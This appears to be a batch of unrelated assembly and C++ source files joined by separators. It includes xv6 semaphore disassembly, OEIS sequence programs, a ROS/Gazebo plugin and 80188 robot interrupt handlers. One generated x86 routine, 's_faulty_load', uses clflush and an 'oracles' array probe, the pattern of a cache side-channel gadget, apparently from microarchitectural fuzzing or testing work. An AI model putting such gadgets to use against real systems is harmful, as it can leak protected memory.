1c71: 89 44 24 04 mov %eax,0x4(%esp)
1c75: 89 14 24 mov %edx,(%esp)
1c78: e8 c9 fe ff ff call 1b46 <add_q>
lock_release(&s->lock);
1c7d: 8b 45 08 mov 0x8(%ebp),%eax
1c80: 89 04 24 mov %eax,(%esp)
1c83: e8 87 fd ff ff call 1a0f <lock_release>
tsleep();
1c88: e8 83 f8 ff ff call 1510 <tsleep>
}
lock_release(&s->lock);
1c8d: 8b 45 08 mov 0x8(%ebp),%eax
1c90: 89 04 24 mov %eax,(%esp)
1c93: e8 77 fd ff ff call 1a0f <lock_release>
}
1c98: c9 leave
1c99: c3 ret
00001c9a <sem_signal>:
void sem_signal(struct Semaphore *s)
{
1c9a: 55 push %ebp
1c9b: 89 e5 mov %esp,%ebp
1c9d: 83 ec 28 sub $0x28,%esp
lock_acquire(&s->lock);
1ca0: 8b 45 08 mov 0x8(%ebp),%eax
1ca3: 89 04 24 mov %eax,(%esp)
1ca6: e8 45 fd ff ff call 19f0 <lock_acquire>
s->count++;
1cab: 8b 45 08 mov 0x8(%ebp),%eax
1cae: 8b 40 04 mov 0x4(%eax),%eax
1cb1: 8d 50 01 lea 0x1(%eax),%edx
1cb4: 8b 45 08 mov 0x8(%ebp),%eax
1cb7: 89 50 04 mov %edx,0x4(%eax)
if( s->count <= 0)
1cba: 8b 45 08 mov 0x8(%ebp),%eax
1cbd: 8b 40 04 mov 0x4(%eax),%eax
1cc0: 85 c0 test %eax,%eax
1cc2: 7f 1c jg 1ce0 <sem_signal+0x46>
{
int tid = pop_q(&s->q);
1cc4: 8b 45 08 mov 0x8(%ebp),%eax
1cc7: 83 c0 08 add $0x8,%eax
1cca: 89 04 24 mov %eax,(%esp)
1ccd: e8 ee fe ff ff call 1bc0 <pop_q>
1cd2: 89 45 f4 mov %eax,-0xc(%ebp)
twakeup(tid);
1cd5: 8b 45 f4 mov -0xc(%ebp),%eax
1cd8: 89 04 24 mov %eax,(%esp)
1cdb: e8 38 f8 ff ff call 1518 <twakeup>
}
lock_release(&s->lock);
1ce0: 8b 45 08 mov 0x8(%ebp),%eax
1ce3: 89 04 24 mov %eax,(%esp)
1ce6: e8 24 fd ff ff call 1a0f <lock_release>
}
1ceb: c9 leave
1cec: c3 ret
00001ced <sem_init>:
void sem_init(struct Semaphore *s, int size){
1ced: 55 push %ebp
1cee: 89 e5 mov %esp,%ebp
1cf0: 83 ec 18 sub $0x18,%esp
lock_init(&s->lock);
1cf3: 8b 45 08 mov 0x8(%ebp),%eax
1cf6: 89 04 24 mov %eax,(%esp)
1cf9: e8 e4 fc ff ff call 19e2 <lock_init>
s->count = size;
1cfe: 8b 45 08 mov 0x8(%ebp),%eax
1d01: 8b 55 0c mov 0xc(%ebp),%edx
1d04: 89 50 04 mov %edx,0x4(%eax)
init_q(&s->q);
1d07: 8b 45 08 mov 0x8(%ebp),%eax
1d0a: 83 c0 08 add $0x8,%eax
1d0d: 89 04 24 mov %eax,(%esp)
1d10: e8 0f fe ff ff call 1b24 <init_q>
}
1d15: c9 leave
1d16: c3 ret
|
; A169937: a(n) = binomial(m+n-1,n)^2 - binomial(m+n,n+1)*binomial(m+n-2,n-1) with m = 14.
; Submitted by Jamie Morken(s3.)
; 1,91,3185,63700,866320,8836464,71954064,488259720,2848181700,14620666060,67255063876,281248448936,1081724803600,3863302870000,12914469594000,40680579221100,121443493851225,345280521733875,938920716995625,2451077240157000,6162708489537600,14966577760305600,35198078131944000,80343439214220000,178362435055568400,385811667212506416,814491297448624656,1680696328068590560,3394509825163163200,6718788412564329920,13047453626979763264,24884861151457371064,46659114658982570745,86082323836090839075
mov $1,6
mov $2,$0
add $2,8
sub $1,$2
bin $1,12
add $2,4
bin $2,$0
mul $1,$2
mov $0,$1
div $0,13
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x2560, %rsi
lea addresses_WT_ht+0x11d78, %rdi
nop
cmp $1589, %rbp
mov $28, %rcx
rep movsb
nop
nop
nop
inc %r13
lea addresses_UC_ht+0x95b, %r12
nop
nop
nop
nop
xor %r8, %r8
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
and $0xffffffffffffffc0, %r12
movaps %xmm1, (%r12)
nop
xor %r8, %r8
lea addresses_A_ht+0x1bf78, %rdi
nop
nop
nop
nop
nop
add $14455, %rcx
movl $0x61626364, (%rdi)
nop
nop
nop
nop
nop
add %r8, %r8
lea addresses_normal_ht+0x1ae9c, %r13
clflush (%r13)
nop
nop
nop
nop
cmp $29985, %rcx
mov (%r13), %edi
nop
nop
nop
nop
cmp $5170, %rbp
lea addresses_UC_ht+0x1cbb8, %r8
nop
nop
nop
nop
nop
cmp $29597, %rbp
movl $0x61626364, (%r8)
nop
nop
and $24547, %r8
lea addresses_A_ht+0x181dc, %rsi
nop
dec %rdi
mov (%rsi), %rbp
nop
nop
nop
nop
add %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %rbx
push %rcx
push %rsi
// Store
lea addresses_RW+0x151f8, %rcx
nop
nop
nop
nop
nop
sub %r11, %r11
movw $0x5152, (%rcx)
nop
nop
inc %r11
// Faulty Load
lea addresses_normal+0x6f78, %rsi
clflush (%rsi)
nop
nop
nop
nop
and %rbx, %rbx
mov (%rsi), %r8w
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rsi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A059018: Write 10*n in base 4; a(n) = sum of digits mod 4.
; 0,0,2,2,0,1,2,0,2,2,0,0,2,0,1,2,0,0,2,2,1,2,3,0,2,2,2,2,0,1,2,3,2,2,0,0,2,3,0,2,0,0,2,2,0,2,3,0,2,2,0,0,0,1,2,3,1,1,0,0,2,3,0,1,0,0,2,2,0,1,2,0,2,2,0,0,2,1,2,3,1,1,3,3,2,3,0,1,3,3,2,2,0,1,2,3,2,2,0,0
mul $0,10
lpb $0,1
add $1,$0
div $0,4
lpe
lpb $1,1
mod $1,4
lpe
|
; A033370: [ 50/n ].
; 50,25,16,12,10,8,7,6,5,5,4,4,3,3,3,3,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $0,1
mov $1,50
div $1,$0
|
#include <mil_msgs/PerceptionObject.h>
#include <mil_gazebo/pcodar_gazebo.hpp>
namespace mil_gazebo
{
void PCODARGazebo::Load(gazebo::physics::WorldPtr _world, sdf::ElementPtr _sdf)
{
world_ = _world;
nh_ = ros::NodeHandle("/pcodar");
nh_.getParam("/gazebo/name_map", name_map_);
pcodar_.reset(new pcodar::NodeBase(nh_));
pcodar_->initialize();
for (auto it : name_map_)
{
ROS_DEBUG("MAPPING %s to %s", it.first.c_str(), it.second.c_str());
}
UpdateEntities();
timer_ = nh_.createTimer(ros::Duration(5.0), std::bind(&PCODARGazebo::TimerCb, this, std::placeholders::_1));
}
void PCODARGazebo::TimerCb(const ros::TimerEvent&)
{
pcodar_->UpdateObjects();
}
void PCODARGazebo::UpdateEntities()
{
for (auto model : world_->Models())
{
UpdateModel(model);
}
}
void PCODARGazebo::UpdateModel(gazebo::physics::ModelPtr _model)
{
UpdateEntity(_model);
// Recurse into nested models
for (auto model : _model->NestedModels())
{
UpdateModel(model);
}
// Recurse into links
for (auto link : _model->GetLinks())
{
UpdateEntity(link);
}
}
void PCODARGazebo::UpdateEntity(gazebo::physics::EntityPtr _entity)
{
ROS_DEBUG("Entity %s", _entity->GetName().c_str());
// Find this entity in the name map
auto it = name_map_.find(_entity->GetName());
// Ignore if not in the map
if (it == name_map_.end())
return;
int id = _entity->GetId();
// Create an object message for this entity
auto cloud = boost::make_shared<pcodar::point_cloud>();
auto search_tree = boost::make_shared<pcodar::KdTree>();
pcodar::Object object = pcodar::Object(cloud, 0, search_tree);
object.msg_.labeled_classification = (*it).second;
// Get pose and bounding box for object
ignition::math::Pose3d pose = _entity->WorldPose();
ignition::math::Box box = _entity->BoundingBox();
// Move pcdoar pose origin to center of bounding box
pose.Set(box.Center(), pose.Rot());
// Convert pose and box to ROS messages
GazeboPoseToRosMsg(pose, object.msg_.pose);
GazeboVectorToRosMsg(box.Size(), object.msg_.scale);
// Add or update object
auto existing_object = pcodar_->objects_->objects_.find(id);
if (existing_object == pcodar_->objects_->objects_.end())
{
object.set_id(id);
pcodar_->objects_->objects_.insert({ id, object });
}
else
{
object.set_id((*existing_object).first);
(*existing_object).second = object;
}
}
void PCODARGazebo::GazeboPoseToRosMsg(ignition::math::Pose3d const& in, geometry_msgs::Pose& out)
{
out.position.x = in.Pos().X();
out.position.y = in.Pos().Y();
out.position.z = in.Pos().Z();
out.orientation.x = in.Rot().X();
out.orientation.y = in.Rot().Y();
out.orientation.z = in.Rot().Z();
out.orientation.w = in.Rot().W();
}
void PCODARGazebo::GazeboVectorToRosMsg(ignition::math::Vector3d const& in, geometry_msgs::Vector3& out)
{
out.x = in.X();
out.y = in.Y();
out.z = in.Z();
}
GZ_REGISTER_WORLD_PLUGIN(PCODARGazebo)
}
|
NAME EvH
;----------------------------------------------------------------------------------------------------------------------------------------
; 80188 Event Handler
; Specifies timer event handlers that control most devices on the RoboTrike 188.
; MtrEvH - References motor muxer when timer 0 interrupts.
; StepEvH - References turret stepper when timer 1 interrupts.
; IOEvH - References display muxer and keypad muxer when a (1 KHz)
; timer interrupt occurs once every millisecond.
; IllegalEvH - When an interrupt not specifically accounted for by our current
; timer event handler occurs, we save the registers and terminate
; interrupt so that the system will not hang or bug.
; SerialEventHandler - IRQ handler for the 16C450. Based on the type of interrupt
; received in interrupt ID register, it takes action and sends an EOI.
; In addition, specifies timer event intallers which hook the handler onto the interrupt
; vector table.
; InitIllegalEvH - Hooks IllegalEvH onto the interrupt of every other non-reserved interrupt in the table.
; InitMtrEvH - Hooks MtrEvH onto the interrupt of timer 0.
; InitStepEvH - Hooks StepEvH onto the interrupt of timer 1.
; InitIOEvH - Hooks TimerEventHandler onto the interrupt of timer2.
; InitSerialEvH - Hooks serial event handler into interrupt vector table.
;------------------------------------------------------------------------------------------------------------------------------------------
;
; Revision History:
; 05/01/09 William Fan
; -Repackage for final release.
; 04/27/09 William Fan
; -Re-added serial event handling compatibility.
; 04/26/09 William Fan
; -Seperated InitCS into discrete file.
; -Renamed CSInit into InitCS.
; -Renamed this file 188EvH.
; -Restructured event handling: all handlers now called from this file.
; -Renamed InitEventHandler(DMuxer/KMuxer) to InitIOEvH
; -Renamed InitEventHandler(IllegalEvH) to InitIllegalEvH
; -Seperated install "bad event handler" into its own function.
; -Renamed BadEventHandler into IllegalEvH.
; -Added Motor event handler installers.
; -Changed InitTimer to comply with timer 0 no longer one-shot.
; -Updated comments.
; 04/15/09 William Fan
; -Added motor timer ctrl values to InitTimer.
; -Renamed IOEvH to IOEvH (since it contains DMuxer and KMuxer).
; 03/22/09 William Fan
; -Updated comments.
; -Restructured code for simplicity.
; 03/08/09 William Fan
; -Compatibility with serial.
; 03/05/09 William Fan
; -Added IllegalEvH.
; 03/04/09 William Fan
; -Updated comments.
; 03/03/09 William Fan
; -Compatibility with keypad.
; -Chip select.
; -Hooks illegal event handler on every non-reserved vector.
; -Updated comments to match changes.
; 02/20/09 William Fan
; -TimerEventHandler is called at correct times.
; 02/16/09 William Fan
$INCLUDE(188val.inc)
CGROUP GROUP CODE
CODE SEGMENT PUBLIC 'CODE'
ASSUME CS:CGROUP
EXTRN DMuxer:NEAR
EXTRN KMuxer:NEAR
EXTRN MMuxer:NEAR
EXTRN TStepper:NEAR
EXTRN SerialEvH:NEAR
; MtrEvH
;
; Description:
; References motor muxer when timer 0 interrupts.
;
; Operation:
; Saves all registers, calls the event handling public function.
;
; Arguments:
; None
;
; Return Values:
; None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, BX, DX
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/03/09 William Fan
; -Added keypad muxer.
; -Changed labels.
; -Updated comments to match changes.
; 02/18/09 William Fan
MtrEvH PROC NEAR
CallMtrEvH:
PUSHA ;save all registers before calling motor muxer
CALL MMuxer ;call motor muxer to pulse the three motors
MTmrEvHEOI:
MOV AX, TmrEOIVal ;write the EOI command to AX
MOV DX, EOI ;EOI after we're done
OUT DX, AL ;send the timer EOI
MTmrEvHFin:
POPA ;restore all registers we may have messed up
IRET
MtrEvH ENDP
; StepEvH
;
; Description:
; References turret stepper when timer 1 interrupts.
;
; Operation:
; Saves all registers, calls the event handling public function.
;
; Arguments:
; None
;
; Return Values:
; None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, BX, DX
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/03/09 William Fan
; -Added keypad muxer.
; -Changed labels.
; -Updated comments to match changes.
; 02/18/09 William Fan
StepEvH PROC NEAR
CallStepEvH:
PUSHF
PUSHA ;save all registers and flags before calling stepper
CALL TStepper ;call stepper to execute half-steps queued on the turret
STmrEvHEOI:
MOV AX, TmrEOIVal ;write the EOI command to AX
MOV DX, EOI ;EOI after we're done
OUT DX, AL ;send the timer EOI
STmrEvHFin:
POPA ;restore all registers we may have messed up
POPF
IRET
StepEvH ENDP
; IOEvH
;
; Description:
; References display muxer and keypad muxer when a (1 KHz)
; timer interrupt occurs once every millisecond.
;
; Operation:
; Saves all registers, calls the event handling public function.
;
; Arguments:
; None
;
; Return Values:
; None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, BX, DX
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/03/09 William Fan
; -Added keypad muxer.
; -Changed labels.
; -Updated comments to match changes.
; 02/18/09 William Fan
IOEvH PROC NEAR
CallIOEvH:
PUSHA ;save all registers before calling public function
CALL DMuxer
CALL KMuxer
IOTmrEvHEOI:
MOV AX, TmrEOIVal ;write the EOI command to AX
MOV DX, EOI ;EOI after we're done
OUT DX, AL ;send the timer EOI
IOTmrEvHFin:
POPA ;restore all registers we may have messed up
IRET
IOEvH ENDP
; IllegalEvH
;
; Description:
; When an interrupt not specifically accounted for by our current
; timer event handler occurs, we save the registers and terminate
; interrupt so that the system will not hang or bug.
;
; Operation:
; Saves all registers for debug/stability, then writes a general EOI
; command which should end the interrupt.
;
; Arguments:
; None
;
; Return Values:
; None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: AX, DX (technically does not change them)
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/05/09 William Fan
IllegalEvH PROC NEAR
BadEvHResvReg:
PUSHA ;save registers (for debugging or other purposes)
BadEvHEOI:
;cannot do anything about this interrupt; just end the interrupt and let user handle it
MOV AX, GenEOIVal ;write EOI command to send it
MOV DX, EOI ;write EOI address to send to
OUT DX, AL ;send the nonspecific EOI command
BadEvHRestoReg:
POPA ;restore AX and DX and any other pertinent registers
BadEvHFin:
IRET
IllegalEvH ENDP
; SerialEventHandler
;
; Description:
; IRQ handler for the 16C450. Based on the type of interrupt received in interrupt ID register,
; it takes action and sends an EOI.
;
; Operation:
; IIR value is returned in BX. BX is compared with an index of possible errors we can handle
; and the routine goes to that routine.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: None
; Shared Variables: RxQueue(QSTRUC)
; TxQueue(QSTRUC)
; SerialError
;
; Global Variables: None
;
; Input:
; Reads control register values from ACE.
;
; Output:
; Writes control register values to ACE.
;
; Error Handling:
; Sets SerialErrorFlag to TRUEBIT and puts line status register into Serial Error.
;
; Registers Changed: Flags, BX
; Stack Depth: 4 words
;
; Algorithms: None
; Data Structures: QSTRUC (queue.inc)
; SerialIRQTable(sIRQ.asm)
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/08/09 William Fan
SHandler PROC NEAR
PUSHA ;reserve registers
CALL SerialEvH
MOV AX, Int2EOI
MOV DX, EOI ;send an INT2 EOI
OUT DX, AL
POPA ;restore the registers
IRET
SHandler ENDP
; InitIllegalEvH
;
; Description:
; Hooks IllegalEvH onto the interrupt of every other non-reserved interrupt in the table.
;
; Operation:
; First, it iterates every interrupt in the interrupt vector table and hooks the illegal
; event handler to all vectors not between FirstResvIRV and FinalResvIRV as constrained
; by the total number of vectors TotalIRV.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: [SI] - Nominal (I)nte(r)rupt (V)ector Address
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, DX, ES, SI
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 04/26/09 William Fan
; -Seperated from old installer.
InitIllegalEvH PROC NEAR
PUBLIC InitIllegalEvH
InitIRVOps:
MOV SI, 0 ;start pointer at first interrupt
XOR AX, AX ;clear AX
MOV ES, AX ;store ES point to interrupt vec seg 00
MOV CX, TotalIRV ;store total number of IRVs
IterateBadEvH:
;check to avoid first reserved interrupt
CMP SI, FirstResvIRV * 4
JB HookIllegalEvH ;if less, then hook illegal event handler onto nominal interrupt vector
;check to avoid final reserved interrupt
CMP SI, FinalResvIRV * 4
JBE HookBadEvHInc ;if less or equal, we ignore vectors reserved for other things
;JG HookIllegalEvH ;if greater, past reserved IRVs, so hook illegal event handler onto nominal IRV
HookIllegalEvH:
;write handler offset to interrupt vector table
MOV ES:WORD PTR [SI], OFFSET(IllegalEvH)
;write handler segment to interrupt vector table
MOV ES:WORD PTR [SI + 2], SEG(IllegalEvH)
HookBadEvHInc:
ADD SI, 4 ;increment pointer to next interrupt vector
LOOP IterateBadEvH
InitIllegalEvHFin:
RET
InitIllegalEvH ENDP
; InitMtrEvH
;
; Description:
; Hooks MtrEvH onto the interrupt of timer 0.
;
; Operation:
; Hooks the timer event handler that calls motor muxer onto the interrupt of timer 0.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, DX, ES, SI
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 04/26/09 William Fan
; -Seperated illegal event handler installer.
; 03/04/09 William Fan
; -Updated comments.
; 03/03/09 William Fan
; -Hooks illegal event handler on every non-reserved vector.
; -Updated comments to match changes.
; 02/18/09 William Fan
InitMtrEvH PROC NEAR
PUBLIC InitMtrEvH
HookMtrEvH:
XOR AX, AX ;clear AX
MOV ES, AX
;write handler offset into interrupt vector table
MOV ES:WORD PTR (Tmr0Int * 4), OFFSET(MtrEvH)
;write handler segment into interrupt vector table
MOV ES:WORD PTR ((Tmr0Int * 4) + 2), SEG(MtrEvH)
InitMtrEvHFin:
RET
InitMtrEvH ENDP
; InitStepEvH
;
; Description:
; Hooks StepEvH onto the interrupt of timer 1.
;
; Operation:
; Hooks the timer event handler that calls stepper muxer onto the interrupt of timer 1.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, DX, ES, SI
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 04/26/09 William Fan
; -Seperated illegal event handler installer.
; 03/04/09 William Fan
; -Updated comments.
; 03/03/09 William Fan
; -Hooks illegal event handler on every non-reserved vector.
; -Updated comments to match changes.
; 02/18/09 William Fan
InitStepEvH PROC NEAR
PUBLIC InitStepEvH
HookStepEvH:
XOR AX, AX ;clear AX
MOV ES, AX
;write handler offset into interrupt vector table
MOV ES:WORD PTR (Tmr1Int * 4), OFFSET(StepEvH)
;write handler segment into interrupt vector table
MOV ES:WORD PTR ((Tmr1Int * 4) + 2), SEG(StepEvH)
InitStepEvHFin:
RET
InitStepEvH ENDP
; InitIOEvH
;
; Description:
; Hooks TimerEventHandler onto the interrupt of timer2.
;
; Operation:
; Hooks the timer event handler that calls disp and keypad muxers onto the interrupt of timer 2.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, DX, ES, SI
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 04/26/09 William Fan
; -Seperated illegal event handler installer.
; 03/04/09 William Fan
; -Updated comments.
; 03/03/09 William Fan
; -Hooks illegal event handler on every non-reserved vector.
; -Updated comments to match changes.
; 02/18/09 William Fan
InitIOEvH PROC NEAR
PUBLIC InitIOEvH
HookIOEvH:
XOR AX, AX ;clear AX
MOV ES, AX
;write handler offset into interrupt vector table
MOV ES:WORD PTR (Tmr2Int * 4), OFFSET(IOEvH)
;write handler segment into interrupt vector table
MOV ES:WORD PTR ((Tmr2Int * 4) + 2), SEG(IOEvH)
InitIOEvHFin:
RET
InitIOEvH ENDP
; InitSerialEvH
;
; Description:
; Hooks serial event handler into interrupt vector table.
;
; Operation:
; Writes the serial event handler into vector table at the address of serial interrupt.
;
; Arguments: None
;
; Return Values: None
;
; Local Variables: None
; Shared Variables: None
; Global Variables: None
;
; Input: None
; Output: None
;
; Error Handling: None
;
; Registers Changed: Flags, AX, DX, ES
; Stack Depth: None
;
; Algorithms: None
; Data Structures: None
;
; Known Bugs: None
; Limitations: None
;
; Revision History:
; 03/08/09 William Fan
InitSrlEvH PROC NEAR
PUBLIC InitSrlEvH
;store ES point to interrupt vec seg 00
XOR AX, AX
MOV ES, AX
;write handler offset into interrupt vector table
MOV ES: WORD PTR (4 * Int2Int), OFFSET(SHandler)
;write handler segment into interrupt vector table
MOV ES: WORD PTR (4 * Int2Int + 2), SEG(SHandler)
RET
InitSrlEvH ENDP
CODE ENDS
END
|
lc r4, 0x7fffffff
lc r5, 0xfffffffe
ges r6, r4, r5
halt
#@expected values
#r4 = 0x7fffffff
#r5 = 0xfffffffe
#r6 = 0x00000001
#pc = -2147483628
#e0 = 0
#e1 = 0
#e2 = 0
#e3 = 0
|
; int isgreaterequal(float x, float y) __z88dk_callee
SECTION code_fp_math48
PUBLIC cm48_sdcciy_isgreaterequal_callee
EXTERN am48_isgreaterequal, cm48_sdcciyp_dcallee2
cm48_sdcciy_isgreaterequal_callee:
call cm48_sdcciyp_dcallee2
; AC'= y
; AC = x
jp am48_isgreaterequal
|
; A164482: Number of binary strings of length n with no substrings equal to 0001, 0110, or 1110.
; 1,2,4,8,13,20,29,41,57,78,106,143,192,257,343,457,608,808,1073,1424,1889,2505,3321,4402,5834,7731,10244,13573,17983,23825,31564,41816,55397,73388,97221,128793,170617,226022,299418,396647,525448,696073,922103,1221529,1618184,2143640,2839721,3761832,4983369,6601561,8745209,11584938,15346778,20330155,26931724,35676941,47261887,62608673,82938836,109870568,145547517,192809412,255418093,338356937,448227513,593775038,786584458,1042002559,1380359504,1828587025,2422362071,3208946537,4250949104
seq $0,18917 ; Define the generalized Pisot sequence T(a(0),a(1)) by: a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n). This is T(3,5).
mov $1,$0
div $0,$0
mov $2,6
div $2,$1
add $0,$2
add $0,$1
sub $0,5
|
Name: kart-drive-j.asm
Type: file
Size: 39135
Last-Modified: '1992-07-14T00:10:59Z'
SHA-1: 8284B38E3AF3260A7D0BA61A82615F9B7266AFE0
Description: null
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2020 The Bitcoin Core developers
